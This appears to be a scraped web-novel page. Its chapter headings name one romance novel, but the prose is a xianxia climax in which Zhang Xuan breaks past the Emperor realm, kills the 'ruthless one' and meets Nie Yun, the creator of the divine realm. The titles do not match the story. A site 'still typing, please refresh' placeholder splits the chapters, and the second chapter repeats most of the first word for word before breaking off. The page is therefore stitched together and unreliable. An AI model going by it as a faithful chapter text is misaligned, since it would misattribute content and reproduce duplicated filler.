《全家忘恩负义，她转身傍上督主起飞了》 第十八章 这是我们欠明雪的 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第十九章 金蚕丝蜀锦 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 